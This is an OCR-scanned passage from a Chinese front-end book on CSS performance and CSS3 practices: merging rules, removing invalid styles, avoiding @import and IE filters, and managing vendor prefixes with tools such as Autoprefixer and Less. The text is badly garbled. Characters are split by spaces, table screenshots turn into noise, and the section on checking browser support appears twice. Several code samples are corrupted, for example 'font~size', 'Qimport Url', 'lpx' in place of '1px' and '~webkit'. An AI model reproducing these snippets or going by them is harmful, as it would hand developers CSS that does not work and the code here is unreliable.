以 上 的 代码 中 ， 定 义 了 两 个 CSS 规 则 ， 这 两 个 规则 中 大 部 分 的 定义 是 相同 的 ， 在 这 种 情况 下 ， 即 可 合并 定义 这 些 相同 部 分 ， 优 化 后 的 代码 如 下 : 





library-title, .search-title { 
text-align: center; 
font-weight: 700; 
overflow: hidden; 
text-overflow: ellipsis; 
Color: #FFF; 

} 

.library-title { 
font~size: 1.2em; 
line-height: 2em; 

} 

.Search-title { 
font-size: 1.4em; 
line-height: 2.5em; 

} 











在 CSS 中 ， 有 些 属性 是 可 以 继承 的 ， 比 如 color、font、line-height、list-style、text-align、text-indent、text-transform 等 。 如 果 某 个 父 元 素 的 多 个 子 元 素 上 设置 了 相同 的 可 继承 属性 定义 ， 则 可 以 
把 相同 的 定义 合并 ， 且 设置 在 父 元 素 上 。 在 网 页 设计 中 ， 常 见 的 问题 是 在 CSS 代 码 中 字体 设置 混乱 ， 并 且 会 重复 设置 相同 的 字体 。 一 般 情况 下 ， 同 一 个 网 页 中 会 有 一 个 主要 的 字体 ， 只 需要 把 这 个 主 字体 设 
置 在 网 页 的 <body> 标 签 上 。 个 别 子 元 素 的 字体 和 主 字体 不 同 ， 则 单独 定义 即 可 覆盖 主 字体 。 








(5) 删除 无 效 的 定义 














CSS 代 码 中 的 无 效 定义 ， 并 不 会 影响 页 面 的 功能 展示 ， 但 会 影响 页 面 展示 的 性 能 。 无 效 的 定义 在 增加 代码 量 的 同时 ， 也 增加 了 浏览 器 对 样式 的 解析 时 间 ， 浏 览 器 会 根据 CSS 样 式 构建 样式 树 ， 样 式 树 中 当 
然 也 包括 了 无 效 的 样式 。 








无 效 的 定义 包括 无 效 的 规则 及 无 效 的 样式 属性 。 无 效 的 规则 一 般 是 在 开发 过 程 中 引入 的 ， 比 如 ， 在 开发 过 程 中 ， 失 效 的 CSS 规 则 并 没有 及 时 删除 ， 而 从 直观 上 无 法 判断 某 个 CSS 规 则 是 否 已 经 失效 ， 这 应 
该 也 是 CSS 规 则 没有 被 删除 的 原因 之 一 。 对 于 这 种 情况 ， 可 以 使 用 工具 来 进行 查找 ， 比 如 ， 用 Chrome 浏 览 器 自 带 的 开发 工具 就 可 以 查找 CSS 代 码 中 的 无 效 样式 ， 如 图 7-8 所 示 。 


Elements Resources Network Sources Timeline Profiles |Audits| Console 


T Network Utilization 
BB » Minimize cookie size 
BB » Specify image dimensions (8) 


国 https://www.mystudyb... By Web Page Performance 
>» Optimize the order of styles and scripts (1) 
多 » Put CSS in the document head (1) 




























































































BB v Remove unused CSS rules (1724) 


1724 rules (77%) of CSS not used by the current page. 

> index.css: 75% is not used by the current page. 

bp like.php: 83% is not used by the current page. 

» reader.css: 82% is not used by the current page， 

> /api/content/0449C4C4-EE83-4D9F-A4EF-C6B4F93E9F15/: 100% is not used by the current page， 

/Lapi/content/0449C4C4-EE83-4D9F-A4EF-C6B4F93E9F15/: 90% is not used by the current page. 

> /apijcontent/0449C4C4-EE83-4D9F-A4EF-C6B4F93E9F15/: 100% is not used by the current page. 
ny Use normal CSS property names instead of vendor-prefixed ones (12) 








图 7-8 ”使 用 Chrome 浏 览 器 自 带 的 开发 工具 查找 无 效 样式 规则 的 结果 图 


当然 ， 查 找 的 结果 只 能 作为 参考 





因为 很 多 时 候 CSS 规 则 对 应 的 模块 并 没有 加 载 ， 或 者 有 些 元 素 上 的 CSS 类 是 通过 JavaScript 代 码 动态 设置 的 ， 这 需要 在 删除 规则 时 仔细 考虑 。 























无 效 的 样式 属性 指 的 是 设置 的 样式 并 没有 起 作用 ， 比 如 设置 内 边 距 为 负 值 ， 以 及 一 些 因 手 误 引 起 的 属性 值 拼 写 错误 等 。 如 下 是 一 些 常见 的 无 效 样式 属性 : 











.invalid-css { 
padding-top:-20px; /* 无 效 的 属性 值 */ 
border: 1px soild #DDD;V* 拼写 错误 */ 

} 















































同样 ， 使 用 Chrome 自 带 的 开发 工具 可 以 检测 无 效 的 属性 定义 。 图 7-9 是 使 用 此 工具 的 一 个 检测 结果 。 
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Invalid CSS property Value: normal 12px 
Invalid CSS property value: ipx soild #cgcece ssets/ski /index.c 
Invalid CSS selector: input:-moz-placeholder, 

textarea:-moz-placeholder /assets/ index.css:6577 
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textarea:-ms-input-placeholder /assets/s si index.css:65 
Invalid CSS property name: -webkit-touch-callout / 3 f /inde 

Invalid C55 property value; -3px ins/defoult/index. 
Invalid CSS property name: -webkit-touch-callout / ins/default/index. 
Invalid CSS property name: font-smooth / /index. 
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Invalid CSS selector: ::-moz-selection | ins/default/reader. 
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图 7-9 ”使 用 Chrome 浏 览 器 自 带 的 开发 工具 查找 无 效 样式 属性 及 属性 值 的 结果 图 























使 用 此 工具 需要 注意 的 是 ， 工 具 检 测 时 列 出 了 Chrome 无 法 识别 的 CSS 属 性 或 者 选择 器 ， 某 些 属性 或 者 选择 器 可 能 是 为 其 他 浏览 器 添加 的 ， 并 不 是 真正 的 无 效 定义 ， 比 如 图 7-9 中 的 选择 器 input:-ms- 
input-placeholder 等 。 























7.4 ”其 他 CSS 高 性 能 实践 








(1) 避免 使 用 @import 



































开发 者 习惯 于 使 用 link 元 素 加 载 样式 文件 ， 其 实 使 用 @import 同 样 也 可 以 加 载 样式 文件 ， 但 不 推荐 使 用 。 在 样式 文件 中 使 用 @import 导 入 新 样式 文件 会 阻止 页 面 的 并 行 下 载 ， 这 样 就 增加 了 样式 文件 的 
整体 加 载 时 间 ， 从 而 带 来 性 能 问题 。 比 如 某 个 CSS 样 式 文件 base.css 中 包含 有 加 载 其 他 样式 文件 的 代码 : 
























































Qimport Url ("extra.css") 





那么 浏览 器 先 加 载 base.css 文 件 ， 加 载 完成 在 解析 的 过 程 中 发 现 需 要 加 载 extra.css 文 件 ， 则 又 开始 加 载 extra.css 文 件 ， 这 肯定 比 同 时 并 行 加 载 base.css 和 extra.css 文 件 慢 。 























有 开发 者 详细 分 析 了 使 用 @import 的 缺点 由 ]， 在 分 析 报告 中 给 出 了 使 用 @import 的 各 种 情况 下 加 载 性 能 对 比 。 开 发 者 可 以 参考 这 篇 报告 获得 详细 的 信息 。 





























(2) 避免 使 用 上 浏览 器 独 有 的 样式 : 图 片 滤 镜 和 CSS 表 达 式 





























图 片 滤 镜 和 (CSS 表达 式 是 只 在 上 浏览 器 中 起 作用 的 样式 定义 。 图 片 滤 镜 用 于 在 IE 7 以 下 版 本 中 显示 PNG 图 片 的 半 透 明 效果 。 如 下 是 从 微软 公司 的 官方 网 站 上 找到 的 例子 : 





























<DIV STYLE="width:100%; filter: 
progid DXImageTransform.Microsoft.MotionBlur (strength=13, direction=310) 
progid DXImageTransform.Microsoft.Blur (pixelradius=2) 
progid DXImageTransform.Microsoft.Wheel (duration=3);"> 
Blurry text with smudge of gray.</div> 




















图 片 滤 镜 的 使 用 会 在 图 片 加 载 时 阻塞 浏览 器 的 加 载 和 演 染 ， 并 会 增加 额外 的 内 存 开销 。 目 前 的 新 项 目 中 ， 很 少 会 使 用 此 样式 定义 ， 但 在 者 项 目 中 ， 还 会 有 这 样 的 代码 存在 ， 应 该 在 重 构 过 程 中 删除 对 应 
的 代码 ， 并 降级 使 用 PNG8 格 式 的 图 片 或 者 在 属性 定义 前 添加 下 划 线 (_) ， 使 得 样式 不 会 影响 |E 7 及 以 上 版 本 浏览 器 。 
















































































CSS 表 达 式 的 作用 是 动态 设置 CSS 属 性 。 如 下 是 使 用 CSS 表 达 式 的 例子 : 























<div id="oDiv" 
> 

Example DIV 
</div> 












































使 用 CSS 表 达 式 不 只 是 有 兼容 问题 ， 还 有 性 能 问题 。 例 如 ， 在 浏览 器 大 小 改变 、 窗 口 滚动 时 ， 会 使 得 浏览 器 频繁 计算 ， 性 能 损耗 极 大 。 因 此 ， 应 该 避免 使 用 CSS 表 达 式 ， 如 果 要 实现 相同 效果 ， 可 以 使 有 
JavaScript 代 码 来 实现 。 


























[1] http://www.stevesouders.com/blog/2009/04/09/dont-use-import 


第 8 章 ”CSS3 相 关 最 佳 实践 


8.1 ”查看 浏览 器 的 支持 情况 
































CSS3 虽 然 目 前 还 没有 发 布 正 式 的 版 本 ， 但 其 中 定义 的 特性 基本 上 得 到 了 最 新 版 本 浏览 器 的 支持 。 越 来 越 多 的 网 站 上 开始 使 用 CSS3 中 的 特性 ， 尤 其 是 在 各 种 动画 效果 中 。 




















例如 ， 在 360 导 航 网 站 [1 的 首页 中 ， 鼠 标 移动 到 导航 栏 上 时 其 背景 色 的 动态 效果 就 是 使 用 CSS3 中 新 的 选择 符 和 新 特性 transition 实 现 的 ， 代 三 如 下 : 

















#1longlong.menupiano a:not (.hover)+.hover-bg { 
-webkit-transition: 0.2s ease; 
-moz-transition: 0.2s ease; 
-ms-transition: 0.2s ease; 

-o-transition: 0.2s ease; 
top: 38px; 





























虽然 CSS3 得 到 了 广泛 的 应 用 ， 但 并 不 是 所 有 的 特性 都 得 到 主流 浏览 器 的 支持 ， 比 如 IE 8/IE 7 浏览 器 ， 它 们 还 有 很 高 的 占有 率 。 因 此 ， 在 使 用 CSS3 的 过 程 中 ， 要 明确 浏览 器 的 兼容 性 ， 如 果 使 用 的 特性 


仅仅 起 到 点 缀 性 的 效果 ， 不 影响 网 站 的 功能 ， 则 不 需要 过 多 考虑 浏览 器 的 兼容 性 。 如 果 使 用 的 特性 是 页 面 设计 要 求 的 ， 并 需要 被 所 规定 的 浏览 器 支持 ， 则 需要 注意 查看 浏览 器 的 支持 情况 。 



































上 文 介绍 过 一 个 查看 浏览 器 兼容 性 的 网 站 : caniuse.com。 开 发 者 可 以 使 用 此 工具 查看 CSS3 中 新 特性 对 应 的 浏览 器 兼容 情况 。 图 8-1 是 caniuse 工 具 生 成 的 支持 情况 列表 。 








三 Supported ® 守 = Not supported = Partially supported = Support unknown 
| 
IE9.0 IE 10.0 IE 11.0 ‘Firefox 24.0 Chrome 29.0 9 Safari 7.0| Opera 16.0 "7 e™" Drowser Er 
z8.0 z3.9 
Yes Yes Yes Yes Partial Yes Yes 
Yes Yes Yes Yes Partial Yes Partial 
Yes Partial Yes Partial No Yes Yes 
Partial Partial Partial Partial Partial Partial Yes 
Partial Partial Partial Partial Partial Partial Partial 
Yes Unknown Yes Unknown No Yes Yes 
Yes Yes Yes Yes Yes Yes Yes 
Yes Yes Yes Yes Yes Yes Yes 
Yes Yes Yes Yes Yes Yes Yes 
Yes Yes Yes Yes Yes Yes Yes 
Yes Yes Yes Yes Yes Yes Yes 
Yes Yes Yes Yes Yes Yes Yes 
Yes Yes Yes Yes Yes Yes Yes 
Yes Yes Yes Yes Yes Yes Yes 
Yes Yes Yes Yes Yes Yes Yes 
Yes Yes Yes Yes Yes Yes Yes 
Yes Yes Yes Yes Yes Yes Yes 
Yes Partial Yes Yes Yes Yes Yes 
Yes Yes Yes Yes Yes Yes Yes 


Yes Yes Yes Yes Yes Yes Yes 
Yes Yes Yes Yes Yes Yes 
Unknown Unknown Unknown No Unknown 


图 8-1 CSS3 中 各 新 特性 对 应 的 浏览 器 支持 情况 


从 图 8-1 中 的 列表 可 以 看 出 ， 项 目 中 可 以 使 用 诸如 圆 角 、 新 的 伪 类 ， 也 可 以 使 用 media queries 实 现 响应 式 设计 等 特性 。 





除了 caniuse， 还 有 如 下 的 在 线 工具 可 以 查看 CSS3 的 浏览 器 兼容 情况 : CSS3Click Chart 台 和 CSS contents and browser compatibilityB]。 这 两 个 工具 的 功能 类 似 ， 不 过 CSS3Click Chart 工 具 同时 也 
提供 完整 的 浏览 器 兼容 代码 示例 。 


[1] http://hao.360.cn/ 
[2] http://css3clickchart.com 


[3] http://www.quirksmode.org/css/contents.html 
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CSS3 昌 然 目 前 还 没有 发 布 正 式 的 版 本 ， 但 其 中 定义 的 特性 基本 上 得 到 了 最 新 版 本 浏览 器 的 支持 。 越 来 越 多 的 网 站 上 开始 使 用 CSS3 中 的 特性 ， 尤 其 是 在 各 种 动画 效果 中 。 








例如 ， 在 360 导 航 网 站 [1 的 首页 中 ， 鼠 标 移动 到 导航 栏 上 时 其 背景 色 的 动态 效果 就 是 使 用 CSS3 中 新 的 选择 符 和 新 特性 transition 实 现 的 ， 代 三 如 下 : 








#1longlong.menupiano a:not(.hover)+.hover-bg { 
-webkit-transition: 0.2s ease; 
-moz-transition: 0.2s ease; 
-ms-transition: 0.2s ease; 

-0o-transition; 0.2s ease; 
top: 38px; 











虽然 CSS3 得 到 了 广泛 的 应 用 ， 但 并 不 是 所 有 的 特性 都 得 到 主流 浏览 器 的 支持 ， 比 如 IE 8/IE 7 浏览 器 ， 它 们 还 有 很 高 的 占有 率 。 因 此 ， 在 使 用 CSS3 的 过 程 中 ， 要 明确 浏览 器 的 兼容 性 ， 如 果 使 用 的 特性 
仅仅 起 到 点 缀 性 的 效果 ， 不 影响 网 站 的 功能 ， 则 不 需要 过 多 考虑 浏览 器 的 兼容 性 。 如 果 使 用 的 特性 是 页 面 设计 要 求 的 ， 并 需要 被 所 规定 的 浏览 器 支持 ， 则 需要 注意 查看 浏览 器 的 支持 情况 。 




















上 文 介绍 过 一 个 查看 浏览 器 兼容 性 的 网 站 : caniuse.com。 开 发 者 可 以 使 用 此 工具 查看 CSS3 中 新 特性 对 应 的 浏览 器 兼容 情况 。 图 8-1 是 caniuse 工 具 生成 的 支持 情况 列表 。 








三 Supported 三 Not suPPorted = Partially supported = 


IE 9.0 IE 10.0 1E i1.0 


Modul | Partial Yes Partial Yes Yes Yes Yes 
vi vmin wna Partial Partial Yes Yes Yes Partial Yes Partial 
Partial Partial Partial Yes Partial Partial Partial Partial 


Support unknown 


Partial Partial Yes 
Partial Partial Partial 


a Yes Partial Partial Partial Partial Partial i i 
Unknown Yes Yes Unknown Yes Unknown Ne | ves Yes 


te Yes Yes Yes Yes Yes Yes 
Se Yes Yes Yes Yes Yes Yes Yes Yes 
gctComputedStyle Yes Yes Yes Yes Yes Yes Yes Yes 
CSS3 Colors Yes Yes Yes Yes Yes Yes Yes Yes 
CSSs3selectors Yes Yes Yes Yes Yes Yes Yes Yes 
C553 Opacity Yes Yes Yes Yes Yes Yes Yes Yes 
Css3Media Queries Yes Yes Yes Yes Yes Yes Yes Yes 
ESS Generated tent , Yes Yes Yes Yes Yes Yes Yes Yes 
Css3Boxshadow Yes Yes Yes Yes Yes Yes Yes Yes 
Css3 Border-radius v= Yes Yes Yes Yes Yes Yes Yes 
Pe ‘Yes Yes Yes Partial Yes Yes Yes Yes 
ee “ ee Yes Yes Yes Yes Partiai Yes Yes 
Yes Yes Yes Yes Yes Yes Yes 
cmd Yes Yes Yes Yes Yes Yes Yes 
Salcd as CSS un Yes Yes Yes Yes Yes Yes Yes 
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fitlobject-position 


图 8-1 CSS3 中 各 新 特性 对 应 的 浏览 器 支持 情况 














从 图 8-1 中 的 列表 可 以 看 出 ， 项 目 中 可 以 使 用 诸如 圆 角 、 新 的 伪 类 ， 也 可 以 使 用 media queries 实 现 响应 式 设计 等 特性 。 























Yes Yes Yes 
Yes Yes Yes 
Yes Yes Yes 
Yes Yes Yes 
Yes Yes Yes 
Yes Yes Yes 
Yes Yes Yes 
Yes Yes Yes 
Yes Yes Yes 
Yes Yes Yes 
Yes Yes Yes 
Yes Yes Yes 
Yes Yes Yes 
Yes Yes Yes 

Yes Yes 


ue Unknown Unknown Unknown Be Unknown 





除了 caniuse， 还 有 如 下 的 在 线 工具 可 以 查看 CSS3 的 浏览 器 兼容 情况 : CSS3Click Chart[2 和 CSS contents and browser compatibilityB]。 这 两 个 工具 的 功能 类 似 ， 不 过 CSS3Click Chart 工 具 同时 也 
提供 完整 的 浏览 器 兼容 代码 示例 。 


[1] http://hao.360.cn/ 


[2] http://css3clickchart.com 


[3] http://www.quirksmode.org/css/contents.html 


8.2 ”添加 必要 的 浏览 器 前 级 








在 CSS 中 定义 的 浏览 器 前 缀 表示 此 定义 只 在 特定 浏览 器 中 起 作用 ， 其 中 ，Chrome 和 Safari 浏 览 器 使 用 -webkit 作 为 前 缀 ，Firefox 浏 览 器 使 用 -moz 作 为 前 缀 ， 
器 则 使 用 -o 作 为 前 级 。 基 本 上 不 同 的 浏览 器 内 核对 应 着 不 同 的 浏览 器 前 缀 。 
















































































IE 浏 览 器 使 用 -ms 作为 前 级， 而 Opera 浏 览 


在 浏览 器 支持 的 情况 下 ，CSS3 中 的 某 些 特 性 可 能 需要 添加 浏览 器 对 应 的 前 经 ， 而 并 不 能 直接 使 用 标准 的 属性 。 这 是 因为 浏览 器 在 支持 CSS3 新 特性 时 ， 可 能 仅仅 是 实现 了 标准 定义 的 一 个 早期 版 本 ， 可 
以 说 在 CSS3 的 规则 中 添加 浏览 器 前 缀 也 是 一 种 无 奈 之 举 。 这 种 添加 了 浏览 器 前 缀 的 CSS 代 码 本 身 也 不 易 维护 ， 同 时 代码 量 也 增加 很 多 。 如 下 以 编写 CSS3 中 transition 功 能 为 例 ， 展 示 如 何 编写 各 浏览 器 都 兼 


容 的 CSS 代 码 。 














.reader-tips { 
-moz-transition: background-color linear .8s; 
-ms-transition: background-color linear .8s; 
-o-transition: background-color linear .8s; 
-webkit-transition: background-color linear .8s; 
transition:background-color linear .8s; 





代码 中 分 别针 对 4 个 主流 浏览 器 的 内 核实 现 了 4 次 相同 功能 的 定义 ， 加 上 标准 定义 ， 总 共 定义 了 5 次 。 事 实 上 ， 在 CSS3 中 并 不 是 所 有 特性 的 定义 都 需要 添加 主流 浏览 器 的 前 缀 ， 而 且 不 查阅 文档 或 者 借助 





工具 ， 开 发 者 也 不 会 轻易 知道 哪些 CSs3 的 特性 需要 添加 浏览 器 的 前 缀 ， 以 及 添加 几 种 浏览 器 的 前 缀 。 例 如 ， 对 于 border-radius， 只 需要 在 iOs Safari 3.2 和 Android Browser 2.1 中 添加 -webkit- 前 级 ， 其 


他 | 日 版 本 的 浏览 器 











器 因为 占有 率 极 低 ， 可 以 不 予 考虑 ， 则 此 功能 完整 的 定义 为 : 








.border-style { 
-webkit-border-radius: 3px; 
border-radius: 3px; 


} 








因为 iOS Safari 3.2 和 Android Browser 2.1 两 种 浏览 器 目前 的 市 场 占有 率 非 常 低 ， 所 以 也 可 以 忽略 这 两 种 浏览 器 的 兼容 ， 即 border-radius 可 以 直接 使 用 标准 








缀 。 最 新 的 Bootstrap 框 架 中 已 经 直接 使 用 了 标准 的 border-radius 定 义 ， 舍 弃 了 添加 浏览 器 前 缀 的 定义 。 


在 不 同 的 项 目 中 可 能 要 定义 的 CSS3 样 式 会 有 不 同 ， 有 些 为 了 兼容 尽 可 能 多 的 浏览 器 而 添加 了 完整 的 浏览 器 前 级 ， 有 些 则 忽略 了 一 些 占 有 率 低 的 浏览 器 版 本 ， 只 给 CSS 定 义 添加 了 少量 的 浏览 器 前 经， 因 


























属性 定义 ， 并 不 需要 添加 任何 的 浏览 器 前 











此 ， 并 没有 一 个 明确 地 添加 浏览 器 前 级 的 方案 。 随 着 浏览 器 的 不 断 更 新 ， 需 要 添加 浏览 器 前 级 的 情况 会 越 来 越 少 ， 浏 览 器 对 CSS3 中 新 特性 的 支持 也 会 越 来 越 好 。 但 在 目前 这 样 一 个 阶段 ， 还 必须 给 CSS3 中 
的 特性 定义 添加 必要 的 浏览 器 前 级 。 为 了 避免 定义 的 混乱 和 复杂 ， 也 为 了 提高 代码 在 未 来 的 可 维护 性 ， 开 发 者 应 该 遵循 一 定 的 最 佳 实践 。 以 下 是 很 多 前 端 开发 者 总 结 的 一 些 实践 方案 。 








(1) 使 用 工具 来 添加 CSS 属 性 定义 的 浏览 器 前 缀 






































编码 阶段 不 需要 为 CSS 属 性 定义 添加 任何 的 浏览 器 前 级， 可 以 在 开发 完成 后 使 用 工具 来 添加 CSS 属 性 定义 的 浏览 器 前 级 。 这 样 也 避免 了 在 开发 阶段 开发 人 员 需 要 查看 CSS 属 性 定义 对 应 的 各 浏览 器 定义 方 


式 的 麻烦 。 这 里 推荐 一 款 在 线 工具 : Prefixrl1]。 使 用 


CSS 代 码 : 























此 工具 时 ， 在 输入 框 中 输入 任何 的 CSS 定 义 ， 在 经 过 工具 处 理 后 所 生成 兼容 各 浏览 器 的 CSS 代 码 ， 就 会 自动 添加 或 删除 浏览 器 前 级 。 例 如 ， 输 入 如 下 的 





.border-style { 
border-radius: 3px; 
-webkit-border-radius: 3px; 
box-shadow: inset 0 lpx lpx rgba(0, 0, 0, 0.075); 





经 过 Prefixr 处 理 后 会 生成 如 下 的 代码 : 





.border-style { 
border-radius: 3px; 
~webkit-box-shadow: inset 0 lpx lpx rgba(0, 0, 0, 0.075); 
box-shadow: inset 0 lpx lpx rgba(0, 0, 0, 0.075); 





可 以 看 到 ， 经 过 处 理 后 ， 删 除了 border-radius 中 不 必要 的 -webkit 前 经， 并且 给 box-shadow 添 加 了 -webkit 前 缀 定义 。 























如 果 希 望 在 开发 过 程 中 有 更 大 的 自主 性 ， 可 以 使 用 另外 一 个 工具 : Autoprefixer[ 拉 。 此 工具 添加 前 绎 的 原则 是 基于 caniuse 网 站 上 的 统计 数据 。 开 发 者 可 以 自 定义 浏览 器 支持 范围 ， 工 具 会 根据 定义 的 浏 
览 器 范围 给 指定 的 CSS 定 义 添加 必要 的 浏览 器 前 级 。Autoprefixer 提 供 了 多 种 使 用 方式 ， 可 集成 到 多 个 开发 环境 中 ， 比 如 在 Sublime Text 编 辑 器 中 。 在 Sublime Text 中 安装 了 此 工具 对 应 的 插件 后 ， 就 可 以 
自动 给 Css 定义 添加 浏览 器 前 缀 了。 如 下 示例 展示 了 在 Sublime Text 中 Autoprefixer 的 使 用 。 











先 定义 Autoprefixer 的 浏览 器 支持 范围 ， 假 设 项 目 需要 支持 所 有 浏览 器 的 最 新 3 个 版 本 ， 则 配置 如 图 8-2 所 示 。 


@OO 





| |] Autoprefixer.sublime-settings UNREGISTERED ez 











Autoprefixer.sublime—settings 


{ 
lL 


browsers": ["last 3 version"] 











图 8-2 Autoprefixer 的 配置 界面 

















打开 需要 处 理 的 CSS 文 件 ， 并 使 用 Autoprefixer 处 理 ， 如 图 8-3 所 示 。 











estLCSS 


be | 
border-radius: - 


box-shadow: inset © 1 ; 本，0.075)， About 
Autoprefix CSS 
Bookmarks: Clear All 











图 8-3 Autoprefixer 的 操作 界面 








处 理 后 的 代码 如 图 8-4 所 示 。 





test.css 


border-style { 
border-radius: 3px; 


-webkit—box-shadow 
box-shadow: inset 0 














图 8-4 Autoprefixer 的 输出 结果 





此 外 ， 还 有 以 下 的 辅助 工具 可 以 使 用 : cssFxB]、CSS Agent 内 和 -prefix-freeD]。 














(2) 借助 CSs 预 处 理 技术 ， 给 CSs 定 义 添加 浏览 器 前 缀 




















CSS 预 处 理 技术 指 的 是 目前 流行 的 Sass 及 Less， 此 项 技术 的 使 用 大 大 地 提高 了 CSS 代 码 的 可 维护 性 。 同 样 ， 在 使 用 CSS3 中 的 特性 时 ， 也 可 以 利用 这 些 技术 来 管理 CSS 属 性 定义 中 的 浏览 器 前 级 添加 工 
作 。 具 体 的 方法 是 ， 针 对 CSS3 中 的 特性 定义 一 份 模板 样式 ， 比 如 针对 透明 背景 色 特 性 定义 的 Less 模 板 类 似 如 下 形式 : 














.opacity (Qopacity: 0.5) { 
-webkit-opacity: @opacity; 
-moz-opacity: Qopacity; 
‘opacity: @opacity; 





以 上 只 是 一 个 示例 模板 ， 在 实际 项 目 中 ， 可 以 根据 项 目 要 求 定义 模板 样式 。 如 下 的 代码 使 用 了 上 面 定义 的 模板 : 





.myClass { 
. opacity (0.2); 
} 





经 过 编译 ， 生 成 的 CSS 代 码 为 : 





.myClass { 
-webkit-opacity: 0.2; 
-moz-opacity: 0.2; 
‘opacity: 0.2; 

} 








利用 Less 等 预 编译 技术 管理 CSS3 定 义 的 优点 是 : 避免 了 大 量 的 重复 代码 ， 只 
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要 维护 一 份 定义 。 如 果 后 期 需要 修改 CSS3 的 定义 ， 则 只 需要 修改 模板 定义 即 可 ， 并 不 需要 修改 全 部 的 样式 文件 。 
这 里 推荐 一 份 针对 CSS3 定 义 好 的 Less 模 板 文件 四， 开发 者 可 以 在 这 些 定义 的 基础 上 将 其 修改 成 适合 自己 项 目 需求 的 定义 。 
(3) 不 要 过 度 添加 浏览 器 前 缀 


有 些 开 发 者 在 使 用 CSS3 中 的 新 特性 时 ， 并 没有 查看 浏览 器 的 支持 情况 ， 而 是 定义 了 一 个 包含 所 有 浏览 器 前 缀 及 标准 定义 的 集合 。 这 种 定义 的 方式 的 确 解决 了 浏览 器 的 兼容 问题 ， 但 这 是 一 种 消极 的 编码 
方式 ， 增 加 了 很 多 不 必要 的 重复 代码 ， 降 低 了 浏览 器 的 解析 性 能 ， 增 加 了 维护 的 复杂 度 。 同 时 ， 某 些 添加 了 浏览 器 前 缀 的 属性 定义 可 能 并 没有 被 任何 浏览 器 所 支持 ， 比 如 ， 有 开发 者 会 按照 如 下 的 方式 定义 
border-radius。 





.border-style { 
-webkit-border-radius: 3px; 
-ms-border-radius: 3px; 
-moz-border-radius: 3px; 
-Oo-border-radius: 3px; 
border-radius: 3px; 





在 如 上 的 代码 中 ，-ms-border-radius 和 -o-border-radius 从 来 都 没有 被 浏览 器 支持 过 ， 属 于 多 余 的 定义 。 


(4) 添加 CSS3 标 准 属 性 定义 





在 以 上 的 几 个 示例 中 ， 可 以 看 到 在 各 个 添加 了 浏览 器 前 级 的 属性 定义 后 面 总 会 添加 一 个 标准 定义 ， 即 不 添加 任何 浏览 器 前 缀 的 定义 。 之 所 以 要 把 标准 定义 添加 到 后 面 ， 是 因为 当 浏 览 器 支持 标准 属性 时 
可 以 覆盖 前 面 添加 了 浏览 器 前 缀 的 定义 。CSS3 中 的 属性 标准 定义 才 是 符合 规范 的 定义 ， 添 加 了 浏览 器 前 缀 的 定义 会 随 着 浏览 器 版 本 的 更 新 逐渐 被 淘汰 。 





不 过 ,需要 注意 的 是 ， 只 需要 给 CSS3 规 范 中 已 经 完成 定义 的 新 特性 添加 标准 的 属性 定义 。 如 果 在 CSS3 的 规范 中 某 些 特性 的 定义 还 很 模糊 ， 或 者 只 是 某 个 浏览 器 独 有 的 ， 则 可 以 不 添加 浏览 器 前 缀 的 定 

义 。 例 如 ，CSS 中 的 Reflections 特 性 ， 此 特性 目前 只 是 在 以 WebKit 为 核心 的 浏览 器 中 得 到 了 支持 ， 并 且 需 要 添加 -webkit 前 级， 使 用 此 特性 有 时， 就 不 需要 添加 标准 定义 及 其 他 浏览 器 前 缀 的 定义 了 。 
[1] http://prefi xr.com/index.php 
[2] https://github.com/ai/autoprefi xer 
[3] http:/ /imsky.github.io/cssFx 
[4] http:/ /www.keithclark.co.uk/labs/cssagent 
[5] http:/ /leaverou.github.io/prefi xfree 

] 


[6] https:/ /github.com/JoelSutherland/LESS-Prefi xer 


8.3 ”做 好 CSs3 中 新 特性 的 兼容 处 理 
在 实际 的 项 目 中 ，CSS3 昌 然 得 到 了 大 量 的 应 用 ， 但 还 是 有 很 大 一 部 分 版 本 的 浏览 器 并 不 能 很 好 地 支持 这 些 新 特性 ， 尤 其 是 |E 8 及 其 以 下 版 本 的 浏览 器 。 针 对 CSS3 的 降级 处 理 ， 也 主要 集中 在 |E 浏 览 器 
中 。 


在 前 端 开发 中 ， 页 面 开 发 的 目标 之 一 就 是 确保 在 所 有 的 浏览 器 中 有 相同 的 外 观 和 行为 。 开 发 者 为 了 让 那些 不 支持 CSS3 新 特性 的 浏览 器 也 实现 相同 的 外 观 和 行为 ， 使 用 了 各 种 各 样 的 技巧 。 主 要 的 技巧 是 
利用 IE 浏 览 器 独 有 的 filter 样 式 和 JavaScript 代 码 来 实现 。 下 面 以 使 用 CSS3 中 渐变 背景 色 为 例 来 进行 说 明 。 渐 变 背 景色 对 应 的 浏览 器 支持 状况 如 图 8-5 所 示 。 
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图 8-5 CSS3 中 的 新 特性 : 渐变 背景 色 ， 对 应 的 浏览 器 支持 情况 


为 了 兼容 不 支持 此 特性 的 浏览 器 ， 在 不 支持 渐变 色 的 浏览 器 中 将 其 降级 为 单一 背景 色 即 可 (从 图 8-5 中 可 以 看 出 ，Opera Mini 中 会 显示 单一 背景 色 ) ， 为 上 浏览 器 添加 filter 样 式 (从 图 8-5 中 可 以 看 出 ， 
此 样式 会 在 IE 9 及 以 下 版 本 浏览 器 中 起 作用 ) 的 代码 如 下 : 











.back-style { 

background-color: #2187e7; 

background-image: -webkit-gradient (linear, 0% top, 100% top, from(#2187e7), to(#a0eaff)); 

background-image: -webkit-linear-gradient (left, color-stop(#2187e7 0%), Color-stop (#a0eaff 100%)); 

background-image: -moz-linear-gradient (left, #2187e7 0%, #a0eaff 100%); 

background-image: linear-gradient (to right, #2187e7 0%, #a0eaff 100%); 
filter: progid:DXImageTransform.Microsoft.gradient (startColorstr='#ff2187e7', endColorstr='#ffa0eaff', GradientType=1); 
} 





有 些 新 特性 并 没有 对 应 的 降级 处 理 样式 ， 这 个 时 候 就 需要 借助 JavaScript 代 码 了 ， 比 如 ， 使 用 box-sizing、transform 等 的 时 候 。 这 种 场景 下 ， 推 荐 使 用 Modernizr。 这 个 框架 中 也 包含 了 CSS3 中 新 特性 


的 兼容 方案 。 
无 论 是 使 用 filter 样 式 还 是 使 用 JavaScript 代 码 ， 这 些 技巧 都 会 带 来 性 能 上 的 损耗 ， 不 能 毫 无 章法 地 滥用 。 总 结 一 下 ,使 用 CSS3 新 特性 时 ， 需 要 考虑 的 是 ， 在 页 面 所 有 使 用 了 CSS 新 特性 的 元 素 中 ， 哪 些 


